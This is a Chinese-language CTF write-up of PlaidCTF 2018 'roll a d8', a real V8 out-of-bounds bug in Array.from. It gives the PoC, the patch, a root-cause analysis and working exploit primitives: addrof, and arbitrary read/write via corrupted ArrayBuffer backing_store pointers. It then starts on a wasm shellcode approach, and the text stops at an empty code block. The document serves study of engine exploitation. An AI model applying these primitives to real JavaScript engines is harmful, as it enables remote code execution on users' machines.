PlaidCTF 2018: roll a d8

尝试我的第二个v8题目。

Description

1
2
3
4
5
6
7
Roll a d8 and win your game.

Last year, hackers successfully exploited Chakrazy. This time, we came back with d8 powered by V8 JavaScript engine.

You can download relevant material here.

This might only be helpful to Google employees... or is it? https://crbug.com/821137

打开链接搜索v8.git找到对应的patch hash:b5da57a06de8791693c248b7aafc734861a3785d

image-20191108122028838

看来是一个real world的洞咯。

Compile

切换到有漏洞的hash:(不是切换到上面图里的hash

1
2
3
4
5
6
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug -vv
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release -vv
ninja -C out.gn/x64.release d8

记得跑之前给终端和git设置好代理备用。命令见v8环境搭建的那篇博客。

sync卡住了就等等,代理配好了大概也得等一小会儿才会开始下,之后就快了。

如果遇到这样的错误:

1
2
3
4
5
6
7
$ ninja -C ./out.gn/x64.release
ninja: Entering directory `./out.gn/x64.release'
[1/1573] CXX obj/lib_wasm_fuzzer_common/wasm-fuzzer-common.o
FAILED: obj/lib_wasm_fuzzer_common/wasm-fuzzer-common.o
...
../../test/fuzzer/wasm-fuzzer-common.cc -o obj/lib_wasm_fuzzer_common/wasm-fuzzer-common.o
../../third_party/llvm-build/Release+Asserts/bin/clang++: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory

大概是你的本地的libc太新了,我本地的是libtinfo.so.6,复制粘贴一个libtinfo.so.5就可以正常编译了,目前来看没什么问题。

⚠️ 关于编译什么版本以及如何调试

目前来看的信息:

  • release版本没有DCHECK,但是没有符号,也就是说用不了job。
  • debug版本有符号,可以用job,但是DCHECK很难关(包括找到没有过check的检查的代码位置等)。
  • 另外,由于靶机上用的release版本,用release版本写exp在攻击服务器的时候改动应该不是很大,debug版本可能差别会大一点。
  • 如果cve有对应的poc,用debug版本运行可以看出来有没有触发,容易验证自己的编译结果有没有问题。

这里推荐的做法:

  • patch之后,把release和debug版本都编译
  • 如果有poc,用debug版本验证一下有没有crash
  • 写exp的时候,用release来调试,主要用x和tele。遇到不熟悉的对象,在debug版本中用job来查看结构和偏移。最终的目标是攻击成功release版本。

Try Poc

cve提供了poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let oobArray = [1.1];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
console.log(oobArray)

debug版本运行触发crash:

1
2
3
4
5
6
7
8
9
10
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 167
# Debug check failed: index >= 0 && index < this->length().
#
#
#
#FailureMessage Object: 0x7ffda88d5740
==== C stack trace ===============================
...
Illegal instruction (core dumped)

通过failed信息可以看到应该是出现了数组访问越界。

我们来分析一下poc。

首先创建了一个数组oobArray。然后调用function() { return oobArray },将this指针换成了function传给Array.from.call。大概可以这样理解,Array在一般情况下,this指针被用于构造方法来构造返回值,一般来说会调用new Array。但是这里直接传了oobArray。那么之后的操作,都会在oobArray上进行。

Array.from的功能:

The Array.from() method creates a new, shallow-copied Array instance from an array-like or iterable object.

效果:

1
2
console.log(Array.from("abcde"));
console.log(Array.from([1,2,3], x => x+x));

输出:

1
2
a,b,c,d,e
2,4,6

poc之后用到了Symbol.iterator,具体的功能样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
d8> Symbol.iterator
Symbol(Symbol.iterator)
d8> a = [1,2,3]
[1, 2, 3]
d8> iter = a[Symbol.iterator]()
[object Array Iterator]
d8> iter.next()
{value: 1, done: false}
d8> iter.next()
{value: 2, done: false}
d8> iter.next()
{value: 3, done: false}
d8> iter.next()
{value: undefined, done: true}

Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
diff --git a/src/builtins/builtins-array-gen.cc b/src/builtins/builtins-array-gen.cc
index dcf3be4..3a74342 100644
--- a/src/builtins/builtins-array-gen.cc
+++ b/src/builtins/builtins-array-gen.cc
@@ -1945,10 +1945,13 @@
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
+ // TODO(delphick): We should be able to skip the fast set altogether, if the
+ // length already equals the expected length, which it always is now on the
+ // fast path.
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
- // 3) the new length is greater than or equal to the old length.
+ // 3) the new length is equal to the old length.

// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);

StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);

官方patch将SmiLessThan改成了SmiNotEqual,可以大概猜出问题出在length_smi>old_length的情况。

Vulnerability

现在来一步步分析漏洞是如何出现的。首先是一些基础知识。

Basics

一些基础知识。

Isolate

Isolate是v8隔离用的单位。一个v8运行实例对应一个Isolate。所有的运行时信息都不采用全局的方式存储,而是放在Isolate中。

JIT

即时编译。最开始的编译用的是基准编译器,Baseline Compiler。当一个函数调用很多次变成了Hot Function,就会用编译器来优化,叫做TurboFan。利用点在于JIT的代码一般是rwx的(由于需要优化,就会对代码进行修改),如果能够修改编译后的JIT代码改成shellcode,就可以pwn了。

Garbage Collection

之前的exp中出现的gc()函数,gc就是garbage collection的缩写。我们在写js的时候不需要手动free,内存释放交给垃圾收集器来处理。v8将对内存分成了很多区域。

  • new space:新分配的对象
  • old pointer space:存放“旧的”指针
  • old data space:存放“旧的”数据
  • large object space:存放占用比较大的对象
  • code space:存放jit代码

如果对象经历了两次回收都没有被回收,会被移入到old pointer space中。我们在写exp时要尽可能将利用的对象放在old space中,否则的话被移走就比较麻烦。(以后再体会吧)

Objects

在表示对象的时候的知识点。

  • Tagged Pointer

js中number都是表示为double的。但是有时候为了计算得更快等需求会用小整型这个类型来算(Small Integer, smi)。除了小整型,其他都是指针类型,为了区别会加个1。这就是为啥之前看到的是1和9结尾的指针。

  • Named Properties vs. Elements

主要是说大部分用gc处理的对象的第一个属性就是Map(Hidden Class)。Map用来识别对象的类型。

有些对象用数字offset来访问元素,有些用字符串来访问属性,存储的时候是不同的。

之后exp需要用到的对象结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// The ArrayBuffers look like this in memory:
//
// 0x00002f5246603d31 <- Map pointer
// 0x000012c543082251 <- OOL Properties (empty fixed array)
// 0x000012c543082251 <- JS Elements (unused, empty fixed array)
// 0x0000414100000000 <- Size as SMI
// 0x000055f399d4ec40 <- Pointer to backing buffer (we want to corrupt this later)
// 0x000055f399d4ec40 <- Again
// 0x0000000000004141 <- Size as native integer
//
// While the plain objects look like this:
//
// 0x00002f524660ae51 <- Map pointer
// 0x000012c543082251 <- OOL Properties (empty fixed array)
// 0x000012c543082251 <- JS Elements (empty fixed array)
// 0x4242424200000000 <- Inline property |a|
// 0x00002d6968926b39 <- Inline property |b| (this is the pointer to |run_shellcode|)
// 0x4343434300000000 <- Inline property |c|

CodeStubAssembler

CodeStubAssembler是一种平台无关的汇编程序(当作是中间代码即可),v8为了提升效率用CodeStubAssembler来写原生的js程序。

Source Code

需要读一下源码。

从1999行开始看一下Array.from的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
/// ... 获取map_function,判断是否可用
TNode<Object> map_function = args.GetOptionalArgumentValue(1);
// If map_function is not undefined, then ensure it's callable else throw.
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);
GotoIf(TaggedIsSmi(map_function), &error);
Branch(IsCallable(map_function), &no_error, &error); /// 有定义,不是smi,就跳转
BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);
BIND(&no_error);
}
Label iterable(this), not_iterable(this), finished(this), if_exception(this);
TNode<Object> this_arg = args.GetOptionalArgumentValue(2);

这段是检查map_function的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  TNode<Object> items = args.GetOptionalArgumentValue(0); /// 拿到this
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject(context, items); /// array_like

TVARIABLE(Object, array);
TVARIABLE(Number, length); /// 创建两个变量,array和length

// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
/// 如果是null或者undefined,就进入not_iterable,否则进入interable
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);

这段根据创建了array和length,根据iterator_method类型判断进入哪个分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
// Check that the method is callable. 检查方法是否可以调用
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
/// 如果是smi或者不可调用就跳转
Goto(&next); /// 到这里就是可以调用,到next
BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);
BIND(&next);
}

到这里是检查方法是否可以调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
    // Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());
/// 构造了一个输出数组,存放迭代的数据。长度=0?在POC里面,这里的array就是oobArray。

// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));
// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
/// 循环一次,就把值保存在array中。
index = NumberInc(index.value()); /// 这里index计数用,自增1。index=循环的次数。

// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}

上面构造了存储迭代数据的数组,这个数组就是我们利用的点。之后是循环来处理数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    BIND(&loop_done);   /// 循环结束
{
length = index; /// 循环结束之后,给length赋值为index。两者都等于迭代的次数。
Goto(&finished);
}
BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}
// Since there's no iterator, items cannot be a Fast JS Array.
BIND(&not_iterable);
{
/// ... 不关心
}
BIND(&finished);
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value()); /// 循环结束,调用GenerateSetLength
args.PopAndReturn(array.value());
}

这里就要重点关注一下GenerateSetLength这个函数,也就是patch修改的函数。跟进之前确认一下:

  • array是保存迭代数据的数组
  • length是迭代的次数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
// TODO(delphick): We should be able to skip the fast set altogether, if the
// length already equals the expected length, which it always is now on the
// fast path.
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime); /// 这里基本是条件真的
BIND(&fast);
{

/*********************************** 重点开始 ***************************************/
TNode<JSArray> fast_array = CAST(array);
TNode<Smi> length_smi = CAST(length);
/// array是存放迭代结果的数组,现在叫fast_array。length是迭代次数,现在是length_smi。

TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
/// old_length是array的长度 old_length = fast_array.length

CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
// into excess elements or shrink the backing store as appropriate.

GotoIf(SmiNotEqual(length_smi, old_length), &runtime); /// 这里是patch过的

/// 在没patch之前,是这样的:
/// GotoIf(SmiLessThan(length_smi, old_length), &runtime);
/// 就是,如果length_smi < old_length,即迭代次数小于数组长度
/// 就跳转到runtime.runtime会根据需要进行分配,
/// 或者缩减内存

/*
在poc中,old_length==1.这是因为在next()最后被设置为1
length_smi是迭代次数=1028*8。

*/

StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
/// 这里将array的length改成了length_smi。
/// 这部分是为length_smi >= old_length准备的。


Goto(&done);
}
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}
BIND(&done);
}
};

GenerateSetLength是用来设置长度的,设置有多少长度可以访问。

根据代码的逻辑,可以这么理解:

如果length_smi < old_length,迭代的次数小于array的长度,就跳转,缩减内存/重新分配,然后修改length。这里修改是有必要的,因为要减少可以访问的长度,此时array的长度是存在冗余的。

可以这样理解。如果迭代次数很少,说明前length_smi才是需要的,后面array存储的东西都没用。只需要访问前length_smi就可以。

如果length_smi >= old_length,说明迭代的次数比数组长度大。没有必要缩减内存/重新分配内存。直接修改长度。

⚠️注意:这里的array按照原本的功能是新建一个empty的array。修改length是修改这个新array的长度(浅复制的那个array),而不是原本的array。因为每次迭代的结果都是存储在新array里的,如果我们迭代了很多次,看起来是不需要减少新array的内存的。所以这个逻辑看起来没啥问题。

⚠️注意,新分配的array的长度和原本的array的长度没有什么必然的联系,新array的长度取决于迭代的次数?这和迭代器的实现有关。例如在poc中,迭代器是自己实现的,迭代的次数写死了成为1028*8这么长。

🤔️ 为什么会出现length_smi不等于fast_array的length的情况?难道不应该是迭代一次就存一个数?那样两者应该一定相等啊。

理解迭代次数和array长度不一定相等的问题

这是因为迭代器可以写的比较复杂,对不同的功能,的确是可以不同的。

Root Cause

以上删除的都是废话。关于length_smi和old_length为什么会不一样,看这里就好了。

🚨🚨🚨🚨🚨重点🚨🚨🚨🚨🚨

如果这里的Array.from在调用迭代器的时候,没有指定this,那么就会新建一个empty的数组作为存放输出结果的array。由于迭代的时候每次加入新的值都会index++,所以index=array长度=迭代次数=length_smi=old_length。

如果制定了this,例如这样的代码:

image-20191112220227171

迭代器在保存输出结果的时候用的就是b数组了。这是预期的功能。这时候就涉及到三种情况:

  • b的长度>a的长度
  • b的长度=a的长度
  • b的长度<a的长度

这里由于要复制的是a,所以a的长度=迭代次数=index=length_smi。

如果两者相等,修改length也没什么问题,不需要对内存空间进行操作

如果b的长度>a的长度,也就是length_smi<old_length的情况。现在的b保存了迭代的结果,但是多存储了很多东西,需要把多余的空间释放掉,并修改b的可访问大小。

image-20191112220649015

直接运行的结果:

image-20191112221806905

如果b的长度<a的长度,在b的空间写完一部分a的值之后,每次会继续给b加空间,b的length加1,直到迭代结束。此时一定会有a和b的长度相等,等于迭代次数。

image-20191112221627644

似乎可以得到这样的结论,由于b是存储a的迭代结果的,所以迭代之后b的长度一定大于等于a的长度,也就是说old_length一定大于等于length_smi。这也就是patch前为什么代码只考虑了length_smi<old_length的原因。

⚠️开发者忽略了:在迭代的过程中,b的长度也是可以通过代码修改的!

我们重新看一下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let oobArray = [1.1];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1; /// <=== 迭代结束前的最后一步
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
console.log(oobArray)

这里将迭代次数写死成1028*8了。但是在迭代的最后一步,将oobArray的长度修改成了1。

举个例子:

image-20191112222615110

修改了长度之后,js引擎的垃圾回收机制把a[0]之后的内容都释放了。同理,此时oobArray[0]之后的内存也都释放了。

这样就变成了,length_smi=1028*8,而old_length=1。此时length_smi>old_length,没有对内存进行操作,直接将oobArray的长度改成了1028*8,但其实oobArray的长度只有1。这样,我们就可以访问不属于oobArray的内存空间了。造成了oob。

Exploitation

利用的纲领:

  • 怎么泄露对象的地址
  • 怎么任意地址写

ArrayBuffer

1
2
3
4
5
6
7
buffer = new ArrayBuffer(32);
u32 = new Uint32Array(buffer);
u32[0] = 0x1234;
u32[1] = 0x5678;

%DebugPrint(buffer);
%SystemBreak();

关注backing_store,指向的是分配的空间的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
DebugPrint: 0x27673188d4d9: [JSArrayBuffer]
- map: 0x2d490b803fe9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3cccfec12981 <Object map = 0x2d490b804041>
- elements: 0x1dee6ba82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55a4c8eb3ee0
- byte_length: 32
- neuterable
- properties: 0x1dee6ba82251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
0x2d490b803fe9: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 80
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x1dee6ba822e1 <undefined>
- prototype_validity cell: 0x1dee6ba82629 <Cell value= 1>
- instance descriptors (own) #0: 0x1dee6ba82231 <DescriptorArray[2]>
- layout descriptor: (nil)
- prototype: 0x3cccfec12981 <Object map = 0x2d490b804041>
- constructor: 0x3cccfec127e1 <JSFunction ArrayBuffer (sfi = 0x1dee6bac6da9)>
- dependent code: 0x1dee6ba82251 <FixedArray[0]>
- construction counter: 0

image-20191112225709662

  • 如果可以控制backing_store指针,就可以任意地址读写。
  • 如果可以控制length,就可以越界访问。

另外,ArrayBuffer的空间是分配在堆上的。泄露backing_store指针还可以泄露堆地址。

Arbitrary read and write

根据上面的分析,我们可以构造出一个访问范围大于length属性的数组。如果我们在这个数组的访问范围内,布置一个ArrayBuffer,通过数组修改其backing_store指针,就可以任意地址读写了。

addrof

想要泄露一个对象的地址,可以在可控区域内布置该对象,然后将该对象作为自己的属性(in-object),通过越界读取可以泄露地址。(暂时还没懂)

Type Constructor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

// type converter
var buf8 = new ArrayBuffer(8);
var f64 = new Float64Array(buf8);
var u32 = new Uint32Array(buf8);
// double64 => uint64
function d2u(d) {
f64[0] = d;
let r = Array.from(u32);
return r[1]*0x100000000+r[0];
}
// uint64 => double64
function u2d(u) {
let r = [];
r[0] = parseInt(u % 0x100000000);
r[1] = parseInt((u - r[0]) / 0x100000000);
u32.set(r);
return f64[0];
}

console.log(u2d(0x12345678));
console.log(d2u(1.50897478e-315));

参考的是2019的exp。

需要注意的是当处理高位的时候会出现问题。

image-20191113103650138

Find what we controlled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028*8;

Array.from.call(function() { return oobArray;},{[Symbol.iterator] : _ => (

{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if(this.counter > maxSize) {
oobArray.length = 1;

for(let i = 0; i < 100; i++) {
bufs.push(new ArrayBuffer(0x1234));
let obj = {'a': 0x5678, 'b': 0x9999};
objs.push(obj);
}

return {done:true};
}
else {
return {value: result, done: false};
}
}
}

)});


// search arraybuffer we can control
let buf_offset = 0;
for(let i = 0; i < maxSize; i++) {
let value = d2u(oobArray[i]);
if(value == 0x123400000000) {
buf_offset = i;
// change length
oobArray[i] = u2d(0x121200000000);
oobArray[i+3] = u2d(0x1212);
break;
}
}
console.log('[*] buf_offset = '+hex(buf_offset));
// find index in bufs
let bufs_index = 0;
// 100 = console.log(bufs.length);
for(let i = 0; i < bufs.length; i++) {
let value = bufs[i].byteLength;
//console.log(hex(value));
if(value == 0x1212) {
//console.log(i);
bufs_index = i;
break
}
}
console.log('[*] control bufs index: '+hex(bufs_index));
//%DebugPrint(bufs[bufs_index]);
//%SystemBreak();

// search obj we can control
let obj_offset = 0;
for(let i = 0; i < maxSize; i++) {
let value = d2u(oobArray[i]);
if(value == 0x567800000000) {
obj_offset = i;
oobArray[i] = u2d(0x777700000000);
break;
}
}
console.log('[*] obj_offset = '+hex(obj_offset));
// find index in objs
let objs_index = 0;
//console.log(objs.length);
for(let i = 0; i < objs.length; i++) {
let value = objs[i].a;
if(value == 0x7777) {
//console.log(i);
objs_index = i;
break;
}
}
console.log('control objs index: '+hex(objs_index));
%DebugPrint(objs[objs_index]);
%SystemBreak();

我们在迭代的最后一次,向bufs和objs里面push了很多的ArrayBuffer和obj。我们希望有一个buf和obj进入到oobArray可控的区域。找到之后,我们修改一下一个属性,之后在bufs和objs中搜索,找到了对应的index。

addrof

将想要泄露的对象作为可控obj的属性,通过oobArray就可以打印出地址了。

1
2
3
4
5
6
7
8
9
// leak object address
function addrof(o) {
objs[objs_index].a = o;
return d2u(oobArray[obj_offset])-1;
}

var test = {'aa':123};
console.log(hex(addrof(test)));
%DebugPrint(test);

Arbitrary read and write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// arbitrary read with overwriting backing_store
function read64(addr) {
//console.log("====");
//%DebugPrint(oobArray[buf_offset]);
//console.log(hex(d2u(oobArray[buf_offset])));
//%DebugPrint(bufs[bufs_index]);
oobArray[buf_offset+1] = u2d(addr);
oobArray[buf_offset+2] = u2d(addr); // these two should be same
let result = new Float64Array(bufs[bufs_index], 0, 0x10);
return d2u(result[0]);
}

//console.log(hex(read(addrof(test))));

// arbitrary write
function write64(addr, value) {
oobArray[buf_offset+1] = u2d(addr);
oobArray[buf_offset+2] = u2d(addr);
let result = new Float64Array(bufs[bufs_index], 0, 0x10);
result.set([u2d(value)]);
}


test_addr = addrof(test);
console.log(hex(test_addr));
console.log(hex(read64(test_addr)));
write64(test_addr, 0x12345678);
console.log(hex(read64(test_addr)));

通过覆盖backing_store指针,达到任意地址读写的效果。感觉需要熟悉一下ArrayBuffer的语法。

在任意地址写的时候,通过TypedArray的set方法来写值的:

image-20191113164229800

exp里的

1
result.set([u2d(value)]);

省略了offset = 0,其实就是result[0] = u2d(value);

Leaking heap address

1
2
3
4
var buf0_addr = addrof(bufs[1]);
//console.log(hex(buf0_addr));
var heap_address = read64(buf0_addr+0x28)-0xa80b0;
console.log('[*] heap address: '+hex(heap_address));

通过backing_store泄露堆地址。

Leaking libc address

同样的存在稳定泄露和不稳定泄露的方法。

在之前的oob中,我们是通过泄露text段的地址,找到got表的地址。之后通过got来泄露libc的。至于泄露代码段的地址,既可以通过暴力搜索内存的方法,也可以通过泄露array构造函数的方法。前者比较不稳定,后者比较稳定。

当然还有另外一种,直接从堆地址开始遍历,找到形如0x7fxxxx的地址。一般来说会出现unsortedbin和largebin,我们可以找到像fd和bk的部分,也就是相邻的两个8字节,都是0x7fxxxx的地址。

实测的时候,通过array没有找到代码段的地址。通过暴力的方法一直都没有成功。看2019的wp,利用UAF泄露libc的方法:

  • 在2019之前的exp中,找到了两个可控的ArrayBuffer。
  • 通过任意地址写,将两个ArrayBuffer的buffer指向同一个(例如改A的buf,指向B的)
  • 删除B,触发垃圾回收机制,使得B的buf释放掉了,上面存储了libc的地址
  • 通过view A的数据,将libc泄露出来

还有一种getshell的方法是生成一段jit的代码,然后写shellcode。

不用jit的话,泄露wasm的地址,写shellcode。

Getshell with shellcode in wasm

⚠️注意:我们这次使用wasm写shellcode的方法。

在这个v8版本中,wasm的结构和之前oob版本的wasm结构不同,通过shared_pointer找不到WasmExportedFunctionData。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
DebugPrint: 0x377ebb127d51: [Function] in OldSpace
- map: 0x36315f90cde1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x377ebb104611 <JSFunction (sfi = 0x9ec7f705559)>
- elements: 0x9ec7f702251 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x377ebb127c31 <SharedFunctionInfo 0>
- name: 0x9ec7f74f6d9 <String[1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x377ebb103eb1 <FixedArray[234]>
- code: 0x9dd030e681 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x377ebb127a91
context 0x559cd7ca7f50
- WASM function index 0
- properties: 0x32e031d8dd91 <PropertyArray[3]> {
#length: 0x9ec7f750299 <AccessorInfo> (const accessor descriptor)
#name: 0x9ec7f750229 <AccessorInfo> (const accessor descriptor)
#arguments: 0x9ec7f750149 <AccessorInfo> (const accessor descriptor)
#caller: 0x9ec7f7501b9 <AccessorInfo> (const accessor descriptor)
0x9ec7f74faf9 <Symbol: (wasm_instance_symbol)>: 0x377ebb127a91 <Instance map = 0x36315f90bd61> (data field 0) properties[0]
0x9ec7f74fad9 <Symbol: (wasm_function_index_symbol)>: 0 (data field 1) properties[1]
}

- feedback vector: not available

但是这里的Code JS_TO_WASM_FUNCTION看起来很可疑。猜测是用来跳转到wasm代码的,那就应该会保存rwx的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> job 0x9dd030e681
0x9dd030e681: [Code]
- map: 0xeaa097828e1 <Map>
kind = JS_TO_WASM_FUNCTION
compiler = turbofan
address = 0x9dd030e681
Body (size = 67)
Instructions (size = 44)
0x9dd030e6e0 0 55 push rbp
0x9dd030e6e1 1 4889e5 REX.W movq rbp,rsp
0x9dd030e6e4 4 56 push rsi
0x9dd030e6e5 5 57 push rdi
0x9dd030e6e6 6 48be507fcad79c550000 REX.W movq rsi,0x559cd7ca7f50 ;; wasm context reference
0x9dd030e6f0 10 49ba00c09c81c6070000 REX.W movq r10,0x7c6819cc000 (wasm function) ;; js to wasm call
0x9dd030e6fa 1a 41ffd2 call r10
0x9dd030e6fd 1d 48c1e020 REX.W shlq rax, 32
0x9dd030e701 21 488be5 REX.W movq rsp,rbp
0x9dd030e704 24 5d pop rbp
0x9dd030e705 25 c20800 ret 0x8
0x9dd030e708 28 90 nop
0x9dd030e709 29 0f1f00 nop


Safepoints (size = 23)
0x9dd030e6fd 1d NA 0000 (sp -> fp) <none>

RelocInfo (size = 4)
0x9dd030e6e8 wasm context reference
0x9dd030e6f2 js to wasm call

其中的0x7c6819cc000就是rwx开始的地址。偏移:

1
2
3
pwndbg> x/4gx 0x9dd030e681-1+0x72
0x9dd030e6f2: 0x000007c6819cc000 0x4820e0c148d2ff41
0x9dd030e702: 0x0f900008c25de58b 0x000300000001001f

不过在赋值的时候,由于值过大,导致不能正确赋值(如果直接使用write64):

image-20191114133832498

可以补充一个Uint8Array来赋值。(用oob的exp,也不能很好的赋值)

1
2
3
4
5
6
